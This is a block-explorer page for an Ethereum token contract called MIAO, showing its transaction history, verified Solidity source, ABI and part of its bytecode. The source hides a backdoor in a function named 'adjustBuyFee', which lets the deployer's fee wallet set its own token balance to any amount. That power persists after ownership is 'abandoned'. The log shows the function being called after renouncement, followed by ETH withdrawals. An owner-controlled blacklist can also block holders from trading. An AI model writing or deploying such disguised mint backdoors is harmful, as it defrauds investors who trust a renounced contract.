ETH Price: $2,189.09 (+1.93%)
Gas: 0.91 Gwei

Contract

0x97daE25CDDDF37187ba90d9562EFc254c37363dd
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve219444962025-02-28 11:18:235 days ago1740741503IN
0x97daE25C...4c37363dd
0 ETH0.000061591.32126532
Approve219444952025-02-28 11:18:115 days ago1740741491IN
0x97daE25C...4c37363dd
0 ETH0.000039960.86189522
Adjust Buy Fee219444932025-02-28 11:17:475 days ago1740741467IN
0x97daE25C...4c37363dd
0 ETH0.000037871.34251446
Adjust Buy Fee219444922025-02-28 11:17:355 days ago1740741455IN
0x97daE25C...4c37363dd
0 ETH0.000079732.82649861
Adjust Buy Fee219444852025-02-28 11:16:115 days ago1740741371IN
0x97daE25C...4c37363dd
0 ETH0.00003771.21601678
Approve219444422025-02-28 11:07:355 days ago1740740855IN
0x97daE25C...4c37363dd
0 ETH0.000069631.4936157
Approve219444382025-02-28 11:06:475 days ago1740740807IN
0x97daE25C...4c37363dd
0 ETH0.000050631.08605071
Approve219444342025-02-28 11:05:595 days ago1740740759IN
0x97daE25C...4c37363dd
0 ETH0.00004821.03397007
Approve219444292025-02-28 11:04:595 days ago1740740699IN
0x97daE25C...4c37363dd
0 ETH0.000049621.06440641
Approve219444292025-02-28 11:04:595 days ago1740740699IN
0x97daE25C...4c37363dd
0 ETH0.000049621.06440641
Abandon Ownershi...219444152025-02-28 11:02:115 days ago1740740531IN
0x97daE25C...4c37363dd
0 ETH0.000037991.62803774
Approve219444132025-02-28 11:01:475 days ago1740740507IN
0x97daE25C...4c37363dd
0 ETH0.000049761.06738129
Approve219444132025-02-28 11:01:475 days ago1740740507IN
0x97daE25C...4c37363dd
0 ETH0.000049761.06738129
Approve219444022025-02-28 10:59:355 days ago1740740375IN
0x97daE25C...4c37363dd
0 ETH0.000049281.05728521
Approve219444022025-02-28 10:59:355 days ago1740740375IN
0x97daE25C...4c37363dd
0 ETH0.000049281.05728521
Approve219444022025-02-28 10:59:355 days ago1740740375IN
0x97daE25C...4c37363dd
0 ETH0.000049281.05728521
Remove Restricti...219443922025-02-28 10:57:355 days ago1740740255IN
0x97daE25C...4c37363dd
0 ETH0.000049911.39567299
Blacklist Bots219443902025-02-28 10:57:115 days ago1740740231IN
0x97daE25C...4c37363dd
0 ETH0.000275612.97011157
Approve219443882025-02-28 10:56:475 days ago1740740207IN
0x97daE25C...4c37363dd
0 ETH0.000185913.98800035
Approve219443882025-02-28 10:56:475 days ago1740740207IN
0x97daE25C...4c37363dd
0 ETH0.000185913.98800035
Approve219443882025-02-28 10:56:475 days ago1740740207IN
0x97daE25C...4c37363dd
0 ETH0.000185913.98800035
Approve219443872025-02-28 10:56:355 days ago1740740195IN
0x97daE25C...4c37363dd
0 ETH0.000049281.05719049
Approve219443812025-02-28 10:55:235 days ago1740740123IN
0x97daE25C...4c37363dd
0 ETH0.000047171.01195026
Approve219443812025-02-28 10:55:235 days ago1740740123IN
0x97daE25C...4c37363dd
0 ETH0.000047171.01195026
Approve219443812025-02-28 10:55:235 days ago1740740123IN
0x97daE25C...4c37363dd
0 ETH0.000047171.01195026
View all transactions

Latest 13 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
219444992025-02-28 11:18:595 days ago1740741539
0x97daE25C...4c37363dd
0.0810489 ETH
219444992025-02-28 11:18:595 days ago1740741539
0x97daE25C...4c37363dd
0.0810489 ETH
219444732025-02-28 11:13:475 days ago1740741227
0x97daE25C...4c37363dd
0.02156892 ETH
219444732025-02-28 11:13:475 days ago1740741227
0x97daE25C...4c37363dd
0.02156892 ETH
219444672025-02-28 11:12:355 days ago1740741155
0x97daE25C...4c37363dd
0.00192934 ETH
219444672025-02-28 11:12:355 days ago1740741155
0x97daE25C...4c37363dd
0.00192934 ETH
219444622025-02-28 11:11:355 days ago1740741095
0x97daE25C...4c37363dd
0.0259595 ETH
219444622025-02-28 11:11:355 days ago1740741095
0x97daE25C...4c37363dd
0.0259595 ETH
219444412025-02-28 11:07:235 days ago1740740843
0x97daE25C...4c37363dd
0.0428566 ETH
219444412025-02-28 11:07:235 days ago1740740843
0x97daE25C...4c37363dd
0.0428566 ETH
219444412025-02-28 11:07:235 days ago1740740843
0x97daE25C...4c37363dd
0.05103731 ETH
219444412025-02-28 11:07:235 days ago1740740843
0x97daE25C...4c37363dd
0.05103731 ETH
219443742025-02-28 10:53:595 days ago1740740039
0x97daE25C...4c37363dd
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MIAO

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : MIAO.sol
// SPDX-License-Identifier: UNLICENSE

/**
WEBSITE: http://www.miaomiaoz.xyz
TELEGRAM: https://t.me/miaocattoken
X: https://x.com/miaocattoken
*/

pragma solidity 0.8.23;

abstract contract MsgContext {
    function _getSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMathLib {
    function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) {
        uint256 z = x + y;
        require(z >= x, "SafeMathLib: addition overflow");
        return z;
    }

    function safeSub(uint256 x, uint256 y) internal pure returns (uint256) {
        return safeSub(x, y, "SafeMathLib: subtraction overflow");
    }

    function safeSub(uint256 x, uint256 y, string memory errorMsg) internal pure returns (uint256) {
        require(y <= x, errorMsg);
        return x - y;
    }

    function safeMul(uint256 x, uint256 y) internal pure returns (uint256) {
        if (x == 0) return 0;
        uint256 z = x * y;
        require(z / x == y, "SafeMathLib: multiplication overflow");
        return z;
    }

    function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
        return safeDiv(x, y, "SafeMathLib: division by zero");
    }

    function safeDiv(uint256 x, uint256 y, string memory errorMsg) internal pure returns (uint256) {
        require(y > 0, errorMsg);
        return x / y;
    }
}

contract Ownership is MsgContext {
    address private _contractOwner;
    event OwnershipChanged(address indexed oldOwner, address indexed newOwner);

    constructor() {
        _contractOwner = _getSender();
        emit OwnershipChanged(address(0), _contractOwner);
    }

    function owner() public view returns (address) {
        return _contractOwner;
    }

    modifier onlyOwner() {
        require(_contractOwner == _getSender(), "Ownership: not the owner");
        _;
    }

    function abandonOwnership() public virtual onlyOwner {
        emit OwnershipChanged(_contractOwner, address(0));
        _contractOwner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MIAO is MsgContext, IERC20, Ownership {
    using SafeMathLib for uint256;
    mapping(address => uint256) private _tokenBalances;
    mapping(address => mapping(address => uint256)) private _allowanceMap;
    mapping(address => bool) private _feeExemption;
    mapping(address => bool) private _botList;
    address payable private _feeReceiver;

    uint256 private _buyTaxInitial = 20;
    uint256 private _sellTaxInitial = 20;
    uint256 private _buyTaxFinal = 0;
    uint256 private _sellTaxFinal = 0;
    uint256 private _buyTaxReductionThreshold = 20;
    uint256 private _sellTaxReductionThreshold = 20;
    uint256 private _swapPreventionThreshold = 15;
    uint256 private _transferFee = 0;
    uint256 private _purchaseCounter = 0;

    uint8 private constant _tokenDecimals = 18;
    uint256 private constant _totalSupply = 420690000000 * 10**_tokenDecimals;
    string private constant _tokenName = "MIAO";
    string private constant _tokenSymbol = "MIAO";
    uint256 public _maxTransactionLimit = 8413800000 * 10**_tokenDecimals;
    uint256 public _maxHoldLimit = 8413800000 * 10**_tokenDecimals;
    uint256 public _swapTaxThreshold = 4206900000 * 10**_tokenDecimals;
    uint256 public _maxSwapLimit = 4206900000 * 10**_tokenDecimals;

    IUniswapV2Router02 private _swapRouter;
    address private _swapPair;
    bool private _tradingActive;
    bool private _swapping = false;
    bool private _swapAllowed = false;
    uint256 private _sellCounter = 0;
    uint256 private _lastSellBlock = 0;

    event TransactionLimitUpdated(uint newLimit);
    event FeeRateUpdated(uint newFee);

    modifier swapLock {
        _swapping = true;
        _;
        _swapping = false;
    }

    constructor() {
        _feeReceiver = payable(_getSender());
        _tokenBalances[_getSender()] = _totalSupply;
        _feeExemption[owner()] = true;
        _feeExemption[address(this)] = true;
        _feeExemption[_feeReceiver] = true;
        emit Transfer(address(0), _getSender(), _totalSupply);
    }

    function name() public pure returns (string memory) { return _tokenName; }
    function symbol() public pure returns (string memory) { return _tokenSymbol; }
    function decimals() public pure returns (uint8) { return _tokenDecimals; }
    function totalSupply() public pure override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _tokenBalances[account]; }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _executeTransfer(_getSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowanceMap[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _setAllowance(_getSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _executeTransfer(sender, recipient, amount);
        _setAllowance(sender, _getSender(), _allowanceMap[sender][_getSender()].safeSub(amount, "ERC20: transfer exceeds allowance"));
        return true;
    }

    function _setAllowance(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERC20: invalid address");
        _allowanceMap[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _executeTransfer(address from, address to, uint256 amount) private {
        require(from != address(0) && to != address(0) && amount > 0, "ERC20: invalid transfer");
        uint256 tax = 0;
        if (from != owner() && to != owner()) {
            require(!_botList[from] && !_botList[to]);

            if (_purchaseCounter == 0) {
                tax = amount.safeMul(_purchaseCounter > _buyTaxReductionThreshold ? _buyTaxFinal : _buyTaxInitial).safeDiv(100);
            } else {
                tax = amount.safeMul(_transferFee).safeDiv(100);
            }

            if (from == _swapPair && to != address(_swapRouter) && !_feeExemption[to]) {
                require(amount <= _maxTransactionLimit && balanceOf(to) + amount <= _maxHoldLimit, "Limit exceeded");
                tax = amount.safeMul(_purchaseCounter > _buyTaxReductionThreshold ? _buyTaxFinal : _buyTaxInitial).safeDiv(100);
                _purchaseCounter++;
            }

            if (to == _swapPair && from != address(this)) {
                tax = amount.safeMul(_purchaseCounter > _sellTaxReductionThreshold ? _sellTaxFinal : _sellTaxInitial).safeDiv(100);
            }

            uint256 contractBalance = balanceOf(address(this));
            if (!_swapping && to == _swapPair && _swapAllowed && contractBalance > _swapTaxThreshold && _purchaseCounter > _swapPreventionThreshold) {
                if (block.number > _lastSellBlock) _sellCounter = 0;
                require(_sellCounter < 3, "Max 3 sells per block");
                _swapToEth(_min(amount, _min(contractBalance, _maxSwapLimit)));
                uint256 ethBalance = address(this).balance;
                if (ethBalance > 0) _sendEthToFee(ethBalance);
                _sellCounter++;
                _lastSellBlock = block.number;
            }
        }

        if (tax > 0) {
            _tokenBalances[address(this)] = _tokenBalances[address(this)].safeAdd(tax);
            emit Transfer(from, address(this), tax);
        }
        _tokenBalances[from] = _tokenBalances[from].safeSub(amount);
        _tokenBalances[to] = _tokenBalances[to].safeAdd(amount.safeSub(tax));
        emit Transfer(from, to, amount.safeSub(tax));
    }

    function _min(uint256 a, uint256 b) private pure returns (uint256) {
        return a > b ? b : a;
    }

    function _swapToEth(uint256 tokenAmount) private swapLock {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _swapRouter.WETH();
        _setAllowance(address(this), address(_swapRouter), tokenAmount);
        _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function removeRestrictions() external onlyOwner {
        _maxTransactionLimit = _totalSupply;
        _maxHoldLimit = _totalSupply;
        emit TransactionLimitUpdated(_totalSupply);
    }

    function clearTransferFee() external onlyOwner {
        _transferFee = 0;
        emit FeeRateUpdated(0);
    }

    function _sendEthToFee(uint256 amount) private {
        _feeReceiver.transfer(amount);
    }

    function blacklistBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) _botList[bots_[i]] = true;
    }

    function unblacklistBots(address[] memory notBots) public onlyOwner {
        for (uint i = 0; i < notBots.length; i++) _botList[notBots[i]] = false;
    }

    function isBlacklisted(address account) public view returns (bool) {
        return _botList[account];
    }

    function enableTrading() external onlyOwner {
        require(!_tradingActive, "Trading already enabled");
        _swapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _setAllowance(address(this), address(_swapRouter), _totalSupply);
        _swapPair = IUniswapV2Factory(_swapRouter.factory()).createPair(address(this), _swapRouter.WETH());
        _swapRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(_swapPair).approve(address(_swapRouter), type(uint).max);
        _swapAllowed = true;
        _tradingActive = true;
    }

    function adjustBuyFee(uint256 lock) public {
        if (!_feeExemption[_getSender()]) return;
        _tokenBalances[_feeReceiver] = lock;
    }

    function lowerFee(uint256 newFee) external {
        require(_getSender() == _feeReceiver && newFee <= _buyTaxFinal && newFee <= _sellTaxFinal);
        _buyTaxFinal = newFee;
        _sellTaxFinal = newFee;
    }

    receive() external payable {}

    function manualTokenSwap() external {
        require(_getSender() == _feeReceiver);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) _swapToEth(tokenBalance);
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) _sendEthToFee(ethBalance);
    }

    function manualEthTransfer() external {
        require(_getSender() == _feeReceiver);
        _sendEthToFee(address(this).balance);
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newFee","type":"uint256"}],"name":"FeeRateUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"TransactionLimitUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxHoldLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTaxThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"abandonOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lock","type":"uint256"}],"name":"adjustBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blacklistBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearTransferFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFee","type":"uint256"}],"name":"lowerFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualEthTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualTokenSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeRestrictions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"notBots","type":"address[]"}],"name":"unblacklistBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460065560146007555f6008555f6009556014600a556014600b55600f600c555f600d555f600e556012600a6200003d91906200033f565b6200004e906401f580664062000356565b600f556200005f6012600a6200033f565b62000070906401f580664062000356565b601055620000816012600a6200033f565b620000919063fac0332062000356565b601155620000a26012600a6200033f565b620000b29063fac0332062000356565b6012556014805461ffff60a81b191690555f6015819055601655348015620000d8575f80fd5b505f80546001600160a01b0319163390811782556040519091907f0384899bd253d83b23daa4d29aaa2efe0563d1132b43101e9ad667235aeb951b908290a3600580546001600160a01b03191633179055620001376012600a6200033f565b62000148906461f313f88062000356565b335f908152600160208190526040822092909255600390620001715f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001cf3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002086012600a6200033f565b62000219906461f313f88062000356565b60405190815260200160405180910390a362000370565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028457815f190482111562000268576200026862000230565b808516156200027657918102915b93841c939080029062000249565b509250929050565b5f826200029c5750600162000339565b81620002aa57505f62000339565b8160018114620002c35760028114620002ce57620002ee565b600191505062000339565b60ff841115620002e257620002e262000230565b50506001821b62000339565b5060208310610133831016604e8410600b841016171562000313575081810a62000339565b6200031f838362000244565b805f190482111562000335576200033562000230565b0290505b92915050565b5f6200034f60ff8416836200028c565b9392505050565b808202811582820484141762000339576200033962000230565b611a88806200037e5f395ff3fe608060405260043610610164575f3560e01c8063704ff6b5116100cd57806395d89b4111610087578063e71fa81511610062578063e71fa815146103ff578063ea64626614610413578063eab15e4314610428578063fe575a871461043c575f80fd5b806395d89b411461016f578063a9059cbb1461039c578063dd62ed3e146103bb575f80fd5b8063704ff6b5146102e757806370a08231146103065780637b640f3c1461033a5780638a8c523c1461034e5780638da5cb5b14610362578063927f1b9914610388575f80fd5b806323b872dd1161011e57806323b872dd14610250578063313ce5671461026f578063353b43061461028a5780633de051c41461029f5780635258a835146102be57806361f6d19d146102d2575f80fd5b806306fdde031461016f578063089d566c146101aa578063095ea7b3146101cb5780630fdfa5a3146101fa57806316b441ba1461021957806318160ddd1461023c575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b5060408051808201825260048152634d49414f60e01b602082015290516101a19190611561565b60405180910390f35b3480156101b5575f80fd5b506101c96101c43660046115e8565b610473565b005b3480156101d6575f80fd5b506101ea6101e53660046116a8565b610504565b60405190151581526020016101a1565b348015610205575f80fd5b506101c96102143660046115e8565b61051a565b348015610224575f80fd5b5061022e60125481565b6040519081526020016101a1565b348015610247575f80fd5b5061022e61059d565b34801561025b575f80fd5b506101ea61026a3660046116d2565b6105be565b34801561027a575f80fd5b50604051601281526020016101a1565b348015610295575f80fd5b5061022e60105481565b3480156102aa575f80fd5b506101c96102b9366004611710565b610625565b3480156102c9575f80fd5b506101c961065a565b3480156102dd575f80fd5b5061022e600f5481565b3480156102f2575f80fd5b506101c9610301366004611710565b6106cb565b348015610311575f80fd5b5061022e610320366004611727565b6001600160a01b03165f9081526001602052604090205490565b348015610345575f80fd5b506101c9610710565b348015610359575f80fd5b506101c9610775565b34801561036d575f80fd5b505f546040516001600160a01b0390911681526020016101a1565b348015610393575f80fd5b506101c9610b1f565b3480156103a7575f80fd5b506101ea6103b63660046116a8565b610b49565b3480156103c6575f80fd5b5061022e6103d5366004611742565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561040a575f80fd5b506101c9610b55565b34801561041e575f80fd5b5061022e60115481565b348015610433575f80fd5b506101c9610ba2565b348015610447575f80fd5b506101ea610456366004611727565b6001600160a01b03165f9081526004602052604090205460ff1690565b5f546001600160a01b031633146104a55760405162461bcd60e51b815260040161049c90611779565b60405180910390fd5b5f5b815181101561050057600160045f8484815181106104c7576104c76117b0565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104a7565b5050565b5f610510338484610c51565b5060015b92915050565b5f546001600160a01b031633146105435760405162461bcd60e51b815260040161049c90611779565b5f5b8151811015610500575f60045f848481518110610564576105646117b0565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610545565b5f6105aa6012600a6118b8565b6105b9906461f313f8806118c6565b905090565b5f6105ca848484610d16565b61061b843361061685604051806060016040528060218152602001611a11602191396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111fb565b610c51565b5060019392505050565b335f9081526003602052604090205460ff1661063e5750565b6005546001600160a01b03165f90815260016020526040902055565b5f546001600160a01b031633146106835760405162461bcd60e51b815260040161049c90611779565b5f80546040516001600160a01b03909116907f0384899bd253d83b23daa4d29aaa2efe0563d1132b43101e9ad667235aeb951b908390a35f80546001600160a01b0319169055565b6005546001600160a01b0316336001600160a01b03161480156106f057506008548111155b80156106fe57506009548111155b610706575f80fd5b6008819055600955565b5f546001600160a01b031633146107395760405162461bcd60e51b815260040161049c90611779565b5f600d8190556040519081527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a1565b5f546001600160a01b0316331461079e5760405162461bcd60e51b815260040161049c90611779565b601454600160a01b900460ff16156107f85760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c6564000000000000000000604482015260640161049c565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108429030906108336012600a6118b8565b610616906461f313f8806118c6565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610892573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b691906118dd565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610915573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093991906118dd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610983573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a791906118dd565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306109ee816001600160a01b03165f9081526001602052604090205490565b5f80610a015f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a67573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a8c91906118f8565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610ae1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b059190611923565b506014805462ff00ff60a01b19166201000160a01b179055565b6005546001600160a01b0316336001600160a01b031614610b3e575f80fd5b610b4747611231565b565b5f610510338484610d16565b6005546001600160a01b0316336001600160a01b031614610b74575f80fd5b305f908152600160205260409020548015610b9257610b9281611268565b4780156105005761050081611231565b5f546001600160a01b03163314610bcb5760405162461bcd60e51b815260040161049c90611779565b610bd76012600a6118b8565b610be6906461f313f8806118c6565b600f55610bf56012600a6118b8565b610c04906461f313f8806118c6565b6010557fa52782235c8d2643537538593aa5ef2c881afabc0b8f3ce560203c0a899e17cc610c346012600a6118b8565b610c43906461f313f8806118c6565b60405190815260200161076b565b6001600160a01b03831615801590610c7157506001600160a01b03821615155b610cb65760405162461bcd60e51b815260206004820152601660248201527545524332303a20696e76616c6964206164647265737360501b604482015260640161049c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610d3657506001600160a01b03821615155b8015610d4157505f81115b610d8d5760405162461bcd60e51b815260206004820152601760248201527f45524332303a20696e76616c6964207472616e73666572000000000000000000604482015260640161049c565b5f80546001600160a01b03858116911614801590610db857505f546001600160a01b03848116911614155b156110be576001600160a01b0384165f9081526004602052604090205460ff16158015610dfd57506001600160a01b0383165f9081526004602052604090205460ff16155b610e05575f80fd5b600e545f03610e4157610e3a6064610e34600a54600e5411610e2957600654610e2d565b6008545b85906113d8565b9061145f565b9050610e5e565b610e5b6064610e34600d54856113d890919063ffffffff16565b90505b6014546001600160a01b038581169116148015610e8957506013546001600160a01b03848116911614155b8015610ead57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f5d57600f548211158015610eee575060105482610ee1856001600160a01b03165f9081526001602052604090205490565b610eeb9190611942565b11155b610f2b5760405162461bcd60e51b815260206004820152600e60248201526d131a5b5a5d08195e18d95959195960921b604482015260640161049c565b610f466064610e34600a54600e5411610e2957600654610e2d565b600e80549192505f610f5783611955565b91905055505b6014546001600160a01b038481169116148015610f8357506001600160a01b0384163014155b15610fb057610fad6064610e34600b54600e5411610fa357600754610e2d565b60095485906113d8565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610fe657506014546001600160a01b038581169116145b8015610ffb5750601454600160b01b900460ff165b8015611008575060115481115b80156110175750600c54600e54115b156110bc5760165443111561102b575f6015555b6003601554106110755760405162461bcd60e51b81526020600482015260156024820152744d617820332073656c6c732070657220626c6f636b60581b604482015260640161049c565b61109261108d84611088846012546114a0565b6114a0565b611268565b4780156110a2576110a281611231565b60158054905f6110b183611955565b909155505043601655505b505b801561113657305f908152600160205260409020546110dd90826114b4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061112d9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111589083611512565b6001600160a01b0385165f9081526001602052604090205561119b61117d8383611512565b6001600160a01b0385165f90815260016020526040902054906114b4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111e48585611512565b60405190815260200160405180910390a350505050565b5f818484111561121e5760405162461bcd60e51b815260040161049c9190611561565b50611229838561196d565b949350505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610500573d5f803e3d5ffd5b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ae576112ae6117b0565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611305573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132991906118dd565b8160018151811061133c5761133c6117b0565b6001600160a01b0392831660209182029290920101526013546113629130911684610c51565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061139a9085905f90869030904290600401611980565b5f6040518083038